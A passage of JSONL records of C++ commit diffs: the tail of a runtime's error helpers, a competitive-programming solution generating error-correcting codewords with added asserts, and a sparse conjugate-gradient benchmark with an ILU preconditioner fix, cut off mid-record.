memSize << \" bytes, type: \" <<  type->name() \n            << \") at \" << (long)structPtr\n            << std::endl;\n    }\n\n    return (long)structPtr;\n}\n\nvoid Runtime::runtimeError(std::string errorMessage) {\n    throw std::runtime_error(errorMessage);\n}\n\nvoid Runtime::invalidArrayCreation() {\n    Runtime::runtimeError(\"The length of the array must be >= 0.\");\n}\n\nvoid Runtime::arrayOutOfBoundsError() {\n    Runtime::runtimeError(\"Array index is out of bounds.\");\n}\n\nvoid Runtime::nullReferenceError() {\n    Runtime::runtimeError(\"Null reference error.\");\n}<|endoftext|>"}
{"text":"<commit_before>#include <cmath>\n#include <cstdio>\nusing namespace std;\n\n#define MAX_M 4096\n#define MAX_m 12\n#define MAX_QUERY 86 \n\n\/**\n * Print first n bit of a code\n *\/\nvoid print_codeword(char *code, int n) {\n    for (int i = 0; i < n; ++i) {\n        putchar(code[i]);\n    }\n    putchar('\\n');\n}\n\nint main(int argc, char const *argv[]) {\n    int t; \/\/ test cases\n    int M, e, max_query_allowed; \/\/ a test case\n    int the_real_M; \/\/ trick if M isn't power of 2\n\n    char code[MAX_m+1][MAX_QUERY][MAX_M+1]; \/\/ all the codewords\n    bool is_code[MAX_m+1]; \/\/ has the codeword been made?\n    int code_distance[MAX_m+1][MAX_M]; \/\/ only distance from 0 to 1..M\n    int code_min[MAX_m+1]; \/\/ min distance\n    const int code_order[][MAX_QUERY] = {\n        \/* 0  *\/ {},\n        \/* 1  *\/ {1},\n        \/* 2  *\/ {1,2,3},\n        \/* 3  *\/ {1,2,4,7,3,5,6},\n        \/* 4  *\/ {1,2,4,8,15,3,5,9,14,6,10,13,7,11,12},\n        \/* 5  *\/ {1,2,4,8,16,31,7,9,19,29,10,22,12,15,17,18,20,21,24,27,30,3,5,14,25,6,11,28,13,23,26},\n        \/* 6  *\/ {1,2,4,8,16,32,63,7,25,42,52,13,22,35,56,14,19,37,11,48,28,53,26,33,31,45,54,34,5,43,50,12,59,36,3,29,10,51,20,58,6,40,15,17,44,21,55,62,24,41,49,23,30,57,38,47,61,9,18,46,27,39,60},\n        \/* 7  *\/ {1,2,4,8,16,32,64,127,15,51,85,105,27,45,71,113,58,86,29,99,38,3,65,88,46,55,74,80,117,60,12,43,67,30,100,57,81,96,5,76,59,114,23,94,41,110,6,77,49,122,37,89,52,9,82,22,121,91,61,31,112,21,97,102,107,73,14,125,18,104,19,44},\n        \/* 8  *\/ {1,2,4,8,16,32,64,128,255,15,51,85,150,232,45,78,139,116,178,192,238,23,217,103,10,225,66,123,144,188,52,185,28,3,208,106,141,18,167,65,230,33,59,237,206,26,95,170,148,98,221,216,124,17,181,24,196,61,5,76,190,195,36,69,182,199,40,89,171,75,35,189,218,68,47,176},\n        \/* 9  *\/ {1,2,4,8,16,32,64,128,256,511,31,99,165,302,470,203,344,146,288,85,153,34,460,435,283,109,113,406,220,293,25,448,164,382,43,7,502,363,138,230,295,415,119,355,139,410,79,19,269,192,418,53,343,472,217,3,490,35,123,26,140,458,260,244,358,427,150,66,298,272,120,445,44,205,464,162,361,94,504},\n        \/* 10 *\/ {1,2,4,8,16,32,64,128,256,512,1023,31,227,293,622,950,184,338,907,608,213,377,972,544,174,521,11,17,262,1019,660,115,292,419,838,239,60,569,484,597,769,977,173,665,432,42,210,860,364,550,925,90,530,487,307,710,737,347,824,130,764,276,403,635,652,251,282,470,699,629,37,45,795,874,171,81,363,758,970,303,439},\n        \/* 11 *\/ {1,2,4,8,16,32,64,128,256,512,1024,2047,63,455,585,1242,1899,238,373,583,1798,1181,419,692,1476,1684,1110,665,97,477,1907,637,1517,364,456,1844,1489,547,1093,951,283,1140,628,1362,1819,1016,377,1982,109,123,780,1172,1600,2019,491,814,1889,996,722,39,77,1351,696,1166,1148,641,1405,89,1500,1547,910,1782,167,9,443,1450,1368,643,49,1038,1614,625,190,849},\n        \/* 12 *\/ {1,2,4,8,16,32,64,128,256,512,1024,2048,4095,63,455,1609,2707,3362,1267,996,2125,3914,1624,238,2575,883,4058,978,124,1302,2094,3442,969,2832,1670,282,3233,2282,1991,907,3365,387,3663,336,1134,2489,712,1446,2169,140,3268,407,1760,285,3843,2302,1381,2121,91,4031,863,3806,521,1056,2336,799,2471,182,1032,4053,2603,994,3845,1887,685,1170,2095,2584,1701,3422,916,3424,263,2221,1091,1078},\n    };\n    int code_order_pointer[MAX_m+1]; \/\/ is the code created\n    int code_minimal[MAX_m+1][MAX_M\/2+2]; \/\/ param: d needed; return: query\n\n    scanf(\"%d\", &t);\n    while (t--) {\n        scanf(\"%d%d%d\", &M, &e, &max_query_allowed);\n        int d = (2*e + 1); \/\/ minimal distance\n        the_real_M = M; \/\/ save the real M for printing the query\n\n        \/* M must be power of two *\/\n        int m = ceil(log2(M)); \/\/ log2(M)\n        M = pow(2, m); \/\/ M is the closest power(2)\n\n        \/* initial coding, if hasnt made yet *\/\n        if (!is_code[m]) {\n            is_code[m] = 1;\n            code_min[m] = 0;\n            code_minimal[m][1] = 0;\n            code_order_pointer[m] = 0;\n        }\n\n        \/* find the best order *\/\n        while (code_min[m] < d && code_min[m] < M\/2) {\n            int current = code_order_pointer[m]++;\n\n            \/* generate the codeword *\/\n            for (int j = 0; j < M; ++j) {\n                int bitstring = code_order[m][current] & j;\n                short binary = 0;\n                \/* counting bit set *\/\n                for (binary = 0; bitstring; bitstring >>= 1) {\n                    binary ^= bitstring & 1;\n                }\n                code[m][current][j] = '0' + binary;\n            }\n            code[m][current][M] = 0; \/\/ close the string\n\n            \/* update the distance *\/\n            code_min[m] = MAX_M;\n            for (int j = 1; j < M; ++j) {\n                code_distance[m][j] += (code[m][current][0] != code[m][current][j]);\n                if (code_distance[m][j] < code_min[m]) {\n                    code_min[m] = code_distance[m][j];\n                }\n            }\n\n            \/* update the code order *\/\n            if (code_minimal[m][code_min[m]] == 0) {\n                code_minimal[m][code_min[m]] = code_order_pointer[m];\n            }\n        }\n\n        \/* total query needed *\/\n        int rounds = d \/ (M \/ 2);\n        int mod = d % (M \/ 2);\n        int total = rounds * (M - 1) + code_minimal[m][mod];\n        printf(\"%d\\n\", total);\n\n        for (int i = 0; i < rounds; ++i) { \/\/ round query\n            for (int j = 0; j < M-1; ++j) {\n                print_codeword(code[m][j], the_real_M);\n            }\n        }\n        for (int i = 0; i < code_minimal[m][mod]; ++i) { \/\/ mod query\n            print_codeword(code[m][i], the_real_M);\n        }\n    }\n    return 0;\n}<commit_msg>asserting<commit_after>#include <cmath>\n#include <cstdio>\n#include <cassert>\nusing namespace std;\n\n#define MAX_M 4096\n#define MAX_m 12\n#define MAX_QUERY 86 \n\n\/**\n * Print first n bit of a code\n *\/\nvoid print_codeword(bool *code, int n) {\n    for (int i = 0; i < n; ++i) {\n        assert(code[i] == 0 || code[i] == 1);\n        printf(\"%d\", code[i]);\n    }\n    putchar('\\n');\n}\n\nint main(int argc, char const *argv[]) {\n    int t; \/\/ test cases\n    int M, e, max_query_allowed; \/\/ a test case\n    int the_real_M; \/\/ trick if M isn't power of 2\n\n    bool code[MAX_m+1][MAX_QUERY][MAX_M+1]; \/\/ all the codewords\n    bool is_code[MAX_m+1]; \/\/ has the codeword been made?\n    int code_distance[MAX_m+1][MAX_M]; \/\/ only distance from 0 to 1..M\n    int code_min[MAX_m+1]; \/\/ min distance\n    const int code_order[][MAX_QUERY] = {\n        \/* 0  *\/ {},\n        \/* 1  *\/ {1},\n        \/* 2  *\/ {1,2,3},\n        \/* 3  *\/ {1,2,4,7,3,5,6},\n        \/* 4  *\/ {1,2,4,8,15,3,5,9,14,6,10,13,7,11,12},\n        \/* 5  *\/ {1,2,4,8,16,31,7,9,19,29,10,22,12,15,17,18,20,21,24,27,30,3,5,14,25,6,11,28,13,23,26},\n        \/* 6  *\/ {1,2,4,8,16,32,63,7,25,42,52,13,22,35,56,14,19,37,11,48,28,53,26,33,31,45,54,34,5,43,50,12,59,36,3,29,10,51,20,58,6,40,15,17,44,21,55,62,24,41,49,23,30,57,38,47,61,9,18,46,27,39,60},\n        \/* 7  *\/ {1,2,4,8,16,32,64,127,15,51,85,105,27,45,71,113,58,86,29,99,38,3,65,88,46,55,74,80,117,60,12,43,67,30,100,57,81,96,5,76,59,114,23,94,41,110,6,77,49,122,37,89,52,9,82,22,121,91,61,31,112,21,97,102,107,73,14,125,18,104,19,44},\n        \/* 8  *\/ {1,2,4,8,16,32,64,128,255,15,51,85,150,232,45,78,139,116,178,192,238,23,217,103,10,225,66,123,144,188,52,185,28,3,208,106,141,18,167,65,230,33,59,237,206,26,95,170,148,98,221,216,124,17,181,24,196,61,5,76,190,195,36,69,182,199,40,89,171,75,35,189,218,68,47,176},\n        \/* 9  *\/ {1,2,4,8,16,32,64,128,256,511,31,99,165,302,470,203,344,146,288,85,153,34,460,435,283,109,113,406,220,293,25,448,164,382,43,7,502,363,138,230,295,415,119,355,139,410,79,19,269,192,418,53,343,472,217,3,490,35,123,26,140,458,260,244,358,427,150,66,298,272,120,445,44,205,464,162,361,94,504},\n        \/* 10 *\/ {1,2,4,8,16,32,64,128,256,512,1023,31,227,293,622,950,184,338,907,608,213,377,972,544,174,521,11,17,262,1019,660,115,292,419,838,239,60,569,484,597,769,977,173,665,432,42,210,860,364,550,925,90,530,487,307,710,737,347,824,130,764,276,403,635,652,251,282,470,699,629,37,45,795,874,171,81,363,758,970,303,439},\n        \/* 11 *\/ {1,2,4,8,16,32,64,128,256,512,1024,2047,63,455,585,1242,1899,238,373,583,1798,1181,419,692,1476,1684,1110,665,97,477,1907,637,1517,364,456,1844,1489,547,1093,951,283,1140,628,1362,1819,1016,377,1982,109,123,780,1172,1600,2019,491,814,1889,996,722,39,77,1351,696,1166,1148,641,1405,89,1500,1547,910,1782,167,9,443,1450,1368,643,49,1038,1614,625,190,849},\n        \/* 12 *\/ {1,2,4,8,16,32,64,128,256,512,1024,2048,4095,63,455,1609,2707,3362,1267,996,2125,3914,1624,238,2575,883,4058,978,124,1302,2094,3442,969,2832,1670,282,3233,2282,1991,907,3365,387,3663,336,1134,2489,712,1446,2169,140,3268,407,1760,285,3843,2302,1381,2121,91,4031,863,3806,521,1056,2336,799,2471,182,1032,4053,2603,994,3845,1887,685,1170,2095,2584,1701,3422,916,3424,263,2221,1091,1078},\n    };\n    int code_order_pointer[MAX_m+1]; \/\/ is the code created\n    int code_minimal[MAX_m+1][MAX_M\/2+2]; \/\/ param: d needed; return: query\n\n    for (int i = 0; i <= MAX_m; ++i) {\n        is_code[i] = 0;\n    }\n\n    scanf(\"%d\", &t);\n    while (t--) {\n        scanf(\"%d%d%d\", &M, &e, &max_query_allowed);\n        int d = (2*e + 1); \/\/ minimal distance\n        the_real_M = M; \/\/ save the real M for printing the query\n\n        \/* M must be power of two *\/\n        int m = ceil(log2(M)); \/\/ log2(M)\n        M = pow(2, m); \/\/ M is the closest power(2)\n\n        \/* initial coding, if hasnt made yet *\/\n        if (!is_code[m]) {\n            assert(m < MAX_m + 1);\n            is_code[m] = 1;\n            code_min[m] = 0;\n            code_minimal[m][1] = 0;\n            code_order_pointer[m] = 0;\n            for (int j = 1; j < M; ++j) {\n                code_distance[m][j] = 0;\n            }\n        }\n\n        \/* find the best order *\/\n        while (code_min[m] < d && code_min[m] < M\/2) {\n            int current = code_order_pointer[m]++;\n\n            \/* generate the codeword *\/\n            for (int j = 0; j < M; ++j) {\n                assert(m < MAX_m + 1);\n                assert(current < MAX_QUERY);\n                int bitstring = code_order[m][current] & j;\n                short binary = 0;\n                \/* counting bit set *\/\n                for (binary = 0; bitstring; bitstring >>= 1) {\n                    binary ^= bitstring & 1;\n                }\n                assert(m < MAX_m + 1);\n                assert(current < MAX_QUERY);\n                assert(j < MAX_M + 1);\n                code[m][current][j] = binary;\n            }\n\n            \/* update the distance *\/\n            assert(m < MAX_m + 1);\n            code_min[m] = MAX_M;\n            for (int j = 1; j < M; ++j) {\n                assert(m < MAX_m + 1);\n                assert(current < MAX_QUERY);\n                assert(j < MAX_M);\n                code_distance[m][j] += (code[m][current][0] != code[m][current][j]);\n                if (code_distance[m][j] < code_min[m]) {\n                    code_min[m] = code_distance[m][j];\n                }\n            }\n\n            \/* update the code order *\/\n            assert(m < MAX_m + 1);\n            assert(code_min[m] < MAX_M\/2 + 2);\n            if (code_minimal[m][code_min[m]] == 0) {\n                code_minimal[m][code_min[m]] = code_order_pointer[m];\n                code_minimal[m][code_min[m] + 1] = 0;\n            }\n        }\n\n        \/* total query needed *\/\n        int rounds = d \/ (M \/ 2);\n        int mod = d % (M \/ 2);\n        assert(mod < MAX_M\/2 + 2);\n        int total = rounds * (M - 1) + code_minimal[m][mod];\n        printf(\"%d\\n\", total);\n\n        for (int i = 0; i < rounds; ++i) { \/\/ round query\n            for (int j = 0; j < M-1; ++j) {\n                assert(m < MAX_m + 1);\n                assert(j < MAX_QUERY);\n                assert(the_real_M < MAX_M + 1);\n                assert(j < code_order_pointer[m]);\n                print_codeword(code[m][j], the_real_M);\n            }\n        }\n        for (int i = 0; i < code_minimal[m][mod]; ++i) { \/\/ mod query\n            assert(m < MAX_m + 1);\n            assert(i < MAX_QUERY);\n            assert(the_real_M < MAX_M + 1);\n            assert(i < code_order_pointer[m]);\n            print_codeword(code[m][i], the_real_M);\n        }\n    }\n    return 0;\n}<|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n#include <iostream>\n#include <vector>\n#include <cmath>\n#include <cstring>\n#include <iterator>\n#include \"IO.hpp\"\n#include \"common.h\"\n#include \"mkl.h\"\n#include \"BenchmarkUtils.hpp\"\n#include <unordered_map>\n\n#include \"lib\/timer.hpp\"\n\nusing namespace std;\n\nclass DokMatrix {\n\n public:\n  int n;\n  int nnzs;\n\n  \/\/ use of std::map important: values are sorted by column index internaly\n  std::unordered_map<int, std::map<int, double>> dok;\n\n  DokMatrix(int _n, int _nnzs) : n(_n), nnzs(_nnzs) {}\n\n\n  DokMatrix explicitSymmetric() {\n      DokMatrix m(n, nnzs);\n      for (auto &&s : dok) {\n          for (auto &&p : s.second) {\n              int i = s.first;\n              int j = p.first;\n              double value = p.second;\n              m.dok[i][j] = value;\n\n              \/\/ check the transpose entry does not exist\n              if (i == j)\n                  continue;\n              if (dok.find(j) != dok.end()) {\n                  if (dok[j].find(i) != dok[j].end()) {\n                      if (dok[j][i] != p.second) {\n                          throw std::invalid_argument(\"Matrix is not symmetric\");\n                      } else {\n                          std::cout << \"Warning! Matrix already contains transpose entry for \"\n                                    << s.first << \" \" << p.first << std::endl;\n                      }\n                  }\n              }\n\n              \/\/ add the transpose entry\n              m.dok[j][i] = value;\n          }\n      }\n      return m;\n  }\n\n  void pretty_print() {\n      for (auto &&s : dok) {\n          for (auto &&p : s.second) {\n              std::cout << s.first << \" \" << p.first << \" \" << p.second << std::endl;\n          }\n      }\n  }\n};\n\n\/\/ TODO verify preconditions:\n\/\/ with 1 based indexing\n\/\/ lower triangular\n\/\/ row entries in increasing column order\nclass CsrMatrix {\n  \/\/ TODO move to include\/, make API\n public:\n  int nnzs;\n  int n;\n  std::vector<double> values;\n  std::vector<int> col_ind;\n  std::vector<int> row_ptr;\n\n  CsrMatrix() : n(0), nnzs(0) {}\n\n  CsrMatrix(const DokMatrix& m) {\n      nnzs = m.nnzs;\n      n = m.n;\n      \/\/ row_ptr.resize(n + 1);\n      int pos = 1;\n      for (int i = 1; i < n + 1; i++) {\n          row_ptr.push_back(pos);\n          for (auto &entries : m.dok.find(i)->second) {\n              col_ind.push_back(entries.first);\n              values.push_back(entries.second);\n              pos++;\n          }\n      }\n      row_ptr.push_back(nnzs + 2);\n  }\n\n  CsrMatrix(int _n, int _nnzs, double* _values, int* _col_ind, int* _row_ptr) :\n      n(_n),\n      nnzs(_nnzs)\n  {\n      values.assign(_values, _values + _nnzs);\n      col_ind.assign(_col_ind, _col_ind + _nnzs);\n      row_ptr.assign(_row_ptr, _row_ptr + n + 1);\n  }\n\n  \/\/ Prints all matrix values\n  void pretty_print() {\n      for (int i = 0; i < n; i++) {\n          int col_ptr = row_ptr[i];\n          for (int k = 0; k < n; k++) {\n              if (col_ptr < row_ptr[i + 1] && col_ind[col_ptr - 1] == k + 1) {\n                  std::cout << values[col_ptr - 1] << \" \";\n                  col_ptr++;\n                  continue;\n              }\n              std::cout << \"0 \";\n          }\n          std::cout << endl;\n      }\n  }\n\n  double& get(int i, int j) {\n      for (int k = row_ptr[i - 1]; k < row_ptr[i]; k++) {\n          if (col_ind[k - 1] == j) {\n              return values[k - 1];\n          }\n      }\n\n      throw std::invalid_argument(\"No nonzero at row col:\"\n                                      + std::to_string(i) + \" \"\n                                      + std::to_string(j));\n  }\n\n  bool isNnz(int i, int j) {\n      try {\n          get(i, j);\n      } catch (std::invalid_argument) {\n          return false;\n      }\n      return true;\n  }\n\n  bool isSymmetric() {\n      return true;\n  }\n\n  DokMatrix toDok() {\n    DokMatrix m(n, nnzs);\n      for (int i = 0; i < n; i++) {\n          for (int k = row_ptr[i]; k < row_ptr[i + 1]; k++) {\n              m.dok[i + 1][col_ind[k - 1]] = values[k - 1];\n          }\n      }\n    return m;\n  }\n\n};\n\nclass Preconditioner {\n public:\n  virtual std::vector<double> apply(std::vector<double> x) = 0;\n};\n\n\/\/ Equivalent to un-precontitioned CG\nclass IdentityPreconditioner : public Preconditioner {\n public:\n  virtual std::vector<double> apply(std::vector<double> x) override {\n      return x;\n  }\n};\n\nclass ILUPreconditioner {\n  CsrMatrix pc;\n public:\n\n  \/\/ pre - a is a symmetric matrix\n  ILUPreconditioner(CsrMatrix &a) {\n      if (!a.isSymmetric()) {\n          throw std::invalid_argument(\"ILUPreconditioner only supports symmetric CSR matrices\");\n      }\n      pc = a;\n\n      for (int i = 2; i <= a.n; i++) {\n          for (int k = 1; k <= i - 1; k++) {\n              \/\/ update pivot - a[i,k] = a[i, k] \/ a[k, k]\n              if (a.isNnz(i, k) && a.isNnz(k, k)) {\n                std::cout << \"Updating \" << std::endl;\n                  a.get(i, k) = a.get(i, k) \/ a.get(k, k);\n                  double beta = a.get(i, k);\n                  for (int j = k + 1; j <= a.n; j++) {\n                      \/\/ update row - a[i, j] -= a[k, j] * a[i, k]\n                      if (a.isNnz(i, j) && a.isNnz(k, j))\n                          a.get(i, j) = a.get(i, j) - a.get(k, j) * beta;\n                  }\n              }\n          }\n      }\n  }\n\n  virtual std::vector<double> apply(std::vector<double> x) {\n      \/\/ TODO\n      return x;\n  }\n\n  void pretty_print() {\n      pc.pretty_print();\n  }\n};\n\n\/**\n *  Standard preconditioned CG, (Saad et al)\n *  https:\/\/en.wikipedia.org\/wiki\/Conjugate_gradient_method\n *\/\ntemplate <typename T, typename Precon>\nbool pcg(int n, int nnzs, int* col_ind, int* row_ptr, double* matrix_values,\n        double* rhs, double* x, int& iterations, bool verbose = false)\n{\n    \/\/ configuration (TODO Should be exposed through params)\n    char tr = 'l';\n    int maxiters = 2000;\n    double tol = 1E-5;\n    Precon precon;\n\n    std::vector<double>    r(n);             \/\/ residual\n    std::vector<double>    b(rhs, rhs + n);  \/\/ rhs\n    std::vector<double>    p(n);             \/\/\n    std::vector<double>    z(n);             \/\/\n\n    \/\/  r = b - A * x\n    mkl_dcsrsymv(&tr, &n, matrix_values, row_ptr, col_ind, &x[0], &r[0]);\n    cblas_daxpby(n, 1.0, &b[0], 1, -1.0, &r[0], 1);\n\n    \/\/ z = M^-1 * r\n    z = precon.apply(r);\n\n    p = z;\n\n    \/\/ rsold = r * z\n    double rsold = cblas_ddot(n, &r[0], 1, &z[0], 1);\n\n    for (int i = 0; i < maxiters; i++) {\n        if (verbose) {\n            std::cout << \" rsold \" << rsold << std::endl;\n        }\n        std::vector<double> Ap(n);\n        \/\/ Ap = A * p\n        mkl_dcsrsymv (&tr, &n, matrix_values, row_ptr, col_ind, &p[0], &Ap[0]);\n        \/\/ alpha = rsold \/ (p * Ap)\n        double alpha = rsold \/ cblas_ddot(n, &p[0], 1, &Ap[0], 1);\n        \/\/ x = x + alpha * p\n        cblas_daxpy(n, alpha, &p[0], 1, &x[0], 1);\n        \/\/ r = r - alpha * Ap\n        cblas_daxpby(n, -alpha, &Ap[0], 1, 1.0, &r[0], 1);\n\n        \/\/ z = M^-1 * r\n        z = precon.apply(r);\n\n        \/\/ rsnew = r * z\n        double rsnew = cblas_ddot(n, &r[0], 1, &z[0], 1);\n\n        if (rsnew <= tol * tol) {\n            \/\/ std::cout << \"Found solution\" << std::endl;\n            print_array(\"x\", &x[0], n);\n            return true;\n        }\n\n        \/\/ p = r + (rsnew\/rsold) * p\n        cblas_daxpby(n, 1, &z[0], 1, rsnew \/ rsold, &p[0], 1);\n        rsold = rsnew;\n        iterations = i;\n    }\n\n    return false;\n}\n\n\/\/ Solve an SPD sparse system using the conjugate gradient method with Intel MKL\nint main (int argc, char** argv) {\n\n    sparsebench::benchmarkutils::parseArgs(argc, argv);\n\n    \/\/ read data from matrix market files\n    int n, nnzs;\n    double* values;\n    int *col_ind, *row_ptr;\n    FILE *f;\n    if ((f = fopen(argv[2], \"r\")) == NULL) {\n        printf(\"Could not open %s\", argv[2]);\n        return 1;\n    }\n    read_system_matrix_sym_csr(f, &n, &nnzs, &col_ind, &row_ptr, &values);\n    fclose(f);\n\n    std::vector<double> rhs = sparsebench::io::readVector(std::string(argv[4]));\n\n    std::vector<double> sol(n);\n\n    bool verbose = false;\n    int iterations = 0;\n\n    CsrMatrix a{n, nnzs, values, col_ind, row_ptr};\n    CsrMatrix b{a};\n    ILUPreconditioner pc{a};\n    std::cout << \"--- ILU pc matrix\" << std::endl;\n    pc.pretty_print();\n    std::cout << \"--- ILU pc matrix\" << std::endl;\n    std::cout << \"--- A (CSR) --- \" << std::endl;\n    a.pretty_print();\n    std::cout << \"--- A (CSR) --- \" << std::endl;\n    std::cout << \"--- A (DOK) --- \" << std::endl;\n    a.toDok().pretty_print();\n    std::cout << \"--- A (DOK) --- \" << std::endl;\n    std::cout << \"--- A (DOK - explicit sym) --- \" << std::endl;\n    a.toDok().explicitSymmetric().pretty_print();\n    std::cout << \"--- A (DOK - explicit sym) --- \" << std::endl;\n    std::cout << \"--- A (CSR from --> DOK - explicit sym) --- \" << std::endl;\n    CsrMatrix explicitA(a.toDok().explicitSymmetric());\n    explicitA.pretty_print();\n    std::cout << \"--- A (CSR from --> DOK - explicit sym) --- \" << std::endl;\n    ILUPreconditioner explicitPc{explicitA};\n    std::cout << \"--- Explicit ILU pc matrix\" << std::endl;\n    explicitPc.pretty_print();\n    std::cout << \"--- Explicit ILU pc matrix\" << std::endl;\n\n    sparsebench::utils::Timer t;\n    t.tic(\"cg:all\");\n    bool status = pcg<double, IdentityPreconditioner>(n, nnzs, col_ind, row_ptr, values, &rhs[0], &sol[0], iterations, verbose);\n    t.toc(\"cg:all\");\n\n    std::vector<double> exp = sparsebench::io::readVector(argv[6]);\n    sparsebench::benchmarkutils::printSummary(\n        0,\n        iterations,\n        t.get(\"cg:all\").count(),\n        0,\n        sparsebench::benchmarkutils::residual(exp, sol),\n        0\n    );\n\n    write_vector_to_file(\"sol.mtx.expl\", &sol[0], sol.size());\n\n    mkl_free_buffers ();\n    return 1;\n}\n<commit_msg>Fix ILU pc<commit_after>#include <cstdio>\n#include <iostream>\n#include <vector>\n#include <cmath>\n#include <cstring>\n#include <iterator>\n#include \"IO.hpp\"\n#include \"common.h\"\n#include \"mkl.h\"\n#include \"BenchmarkUtils.hpp\"\n#include <unordered_map>\n\n#include \"lib\/timer.hpp\"\n\nusing namespace std;\n\nclass DokMatrix {\n\n public:\n  int n;\n  int nnzs;\n\n  \/\/ use of std::map important: values are sorted by column index internaly\n  std::unordered_map<int, std::map<int, double>> dok;\n\n  DokMatrix(int _n, int _nnzs) : n(_n), nnzs(_nnzs) {}\n\n\n  DokMatrix explicitSymmetric() {\n      DokMatrix m(n, nnzs);\n      for (auto &&s : dok) {\n          for (auto &&p : s.second) {\n              int i = s.first;\n              int j = p.first;\n              double value = p.second;\n              m.dok[i][j] = value;\n\n              \/\/ check the transpose entry does not exist\n              if (i == j)\n                  continue;\n              if (dok.find(j) != dok.end()) {\n                  if (dok[j].find(i) != dok[j].end()) {\n                      if (dok[j][i] != p.second) {\n                          throw std::invalid_argument(\"Matrix is not symmetric\");\n                      } else {\n                          std::cout << \"Warning! Matrix already contains transpose entry for \"\n                                    << s.first << \" \" << p.first << std::endl;\n                      }\n                  }\n              }\n\n              \/\/ add the transpose entry\n              m.dok[j][i] = value;\n          }\n      }\n      return m;\n  }\n\n  void pretty_print() {\n      for (auto &&s : dok) {\n          for (auto &&p : s.second) {\n              std::cout << s.first << \" \" << p.first << \" \" << p.second << std::endl;\n          }\n      }\n  }\n};\n\n\/\/ TODO verify preconditions:\n\/\/ with 1 based indexing\n\/\/ lower triangular\n\/\/ row entries in increasing column order\nclass CsrMatrix {\n  \/\/ TODO move to include\/, make API\n public:\n  int nnzs;\n  int n;\n  std::vector<double> values;\n  std::vector<int> col_ind;\n  std::vector<int> row_ptr;\n\n  CsrMatrix() : n(0), nnzs(0) {}\n\n  CsrMatrix(const DokMatrix& m) {\n      nnzs = m.nnzs;\n      n = m.n;\n      \/\/ row_ptr.resize(n + 1);\n      int pos = 1;\n      for (int i = 1; i < n + 1; i++) {\n          row_ptr.push_back(pos);\n          for (auto &entries : m.dok.find(i)->second) {\n              col_ind.push_back(entries.first);\n              values.push_back(entries.second);\n              pos++;\n          }\n      }\n      row_ptr.push_back(nnzs + 2);\n  }\n\n  CsrMatrix(int _n, int _nnzs, double* _values, int* _col_ind, int* _row_ptr) :\n      n(_n),\n      nnzs(_nnzs)\n  {\n      values.assign(_values, _values + _nnzs);\n      col_ind.assign(_col_ind, _col_ind + _nnzs);\n      row_ptr.assign(_row_ptr, _row_ptr + n + 1);\n  }\n\n  \/\/ Prints all matrix values\n  void pretty_print() {\n      for (int i = 0; i < n; i++) {\n          int col_ptr = row_ptr[i];\n          for (int k = 0; k < n; k++) {\n              if (col_ptr < row_ptr[i + 1] && col_ind[col_ptr - 1] == k + 1) {\n                  std::cout << values[col_ptr - 1] << \" \";\n                  col_ptr++;\n                  continue;\n              }\n              std::cout << \"0 \";\n          }\n          std::cout << endl;\n      }\n  }\n\n  double& get(int i, int j) {\n      for (int k = row_ptr[i - 1]; k < row_ptr[i]; k++) {\n          if (col_ind[k - 1] == j) {\n              return values[k - 1];\n          }\n      }\n\n      throw std::invalid_argument(\"No nonzero at row col:\"\n                                      + std::to_string(i) + \" \"\n                                      + std::to_string(j));\n  }\n\n  bool isNnz(int i, int j) {\n      try {\n          get(i, j);\n      } catch (std::invalid_argument) {\n          return false;\n      }\n      return true;\n  }\n\n  bool isSymmetric() {\n      return true;\n  }\n\n  DokMatrix toDok() {\n    DokMatrix m(n, nnzs);\n      for (int i = 0; i < n; i++) {\n          for (int k = row_ptr[i]; k < row_ptr[i + 1]; k++) {\n              m.dok[i + 1][col_ind[k - 1]] = values[k - 1];\n          }\n      }\n    return m;\n  }\n\n};\n\nclass Preconditioner {\n public:\n  virtual std::vector<double> apply(std::vector<double> x) = 0;\n};\n\n\/\/ Equivalent to un-precontitioned CG\nclass IdentityPreconditioner : public Preconditioner {\n public:\n  virtual std::vector<double> apply(std::vector<double> x) override {\n      return x;\n  }\n};\n\nclass ILUPreconditioner {\n  CsrMatrix pc;\n public:\n\n  \/\/ pre - a is a symmetric matrix\n  ILUPreconditioner(CsrMatrix &a) {\n      if (!a.isSymmetric())\n          throw std::invalid_argument(\"ILUPreconditioner only supports symmetric CSR matrices\");\n      pc = a;\n      for (int i = 2; i <= a.n; i++) {\n          for (int k = 1; k <= i - 1; k++) {\n              \/\/ update pivot - a[i,k] = a[i, k] \/ a[k, k]\n              if (pc.isNnz(i, k) && pc.isNnz(k, k)) {\n                  pc.get(i, k) = pc.get(i, k) \/ pc.get(k, k);\n                  double beta = pc.get(i, k);\n                  for (int j = k + 1; j <= pc.n; j++) {\n                      \/\/ update row - a[i, j] -= a[k, j] * a[i, k]\n                      if (pc.isNnz(i, j) && pc.isNnz(k, j)) {\n                          pc.get(i, j) = pc.get(i, j) - pc.get(k, j) * beta;\n                      }\n                  }\n              }\n          }\n      }\n  }\n\n  virtual std::vector<double> apply(std::vector<double> x) {\n      \/\/ TODO\n      return x;\n  }\n\n  void pretty_print() {\n      pc.pretty_print();\n  }\n};\n\n\/**\n *  Standard preconditioned CG, (Saad et al)\n *  https:\/\/en.wikipedia.org\/wiki\/Conjugate_gradient_method\n *\/\ntemplate <typename T, typename Precon>\nbool pcg(int n, int nnzs, int* col_ind, int* row_ptr, double* matrix_values,\n        double* rhs, double* x, int& iterations, bool verbose = false)\n{\n    \/\/ configuration (TODO Should be exposed through params)\n    char tr = 'l';\n    int maxiters = 2000;\n    double tol = 1E-5;\n    Precon precon;\n\n    std::vector<double>    r(n);             \/\/ residual\n    std::vector<double>    b(rhs, rhs + n);  \/\/ rhs\n    std::vector<double>    p(n);             \/\/\n    std::vector<double>    z(n);             \/\/\n\n    \/\/  r = b - A * x\n    mkl_dcsrsymv(&tr, &n, matrix_values, row_ptr, col_ind, &x[0], &r[0]);\n    cblas_daxpby(n, 1.0, &b[0], 1, -1.0, &r[0], 1);\n\n    \/\/ z = M^-1 * r\n    z = precon.apply(r);\n\n    p = z;\n\n    \/\/ rsold = r * z\n    double rsold = cblas_ddot(n, &r[0], 1, &z[0], 1);\n\n    for (int i = 0; i < maxiters; i++) {\n        if (verbose) {\n            std::cout << \" rsold \" << rsold << std::endl;\n        }\n        std::vector<double> Ap(n);\n        \/\/ Ap = A * p\n        mkl_dcsrsymv (&tr, &n, matrix_values, row_ptr, col_ind, &p[0], &Ap[0]);\n        \/\/ alpha = rsold \/ (p * Ap)\n        double alpha = rsold \/ cblas_ddot(n, &p[0], 1, &Ap[0], 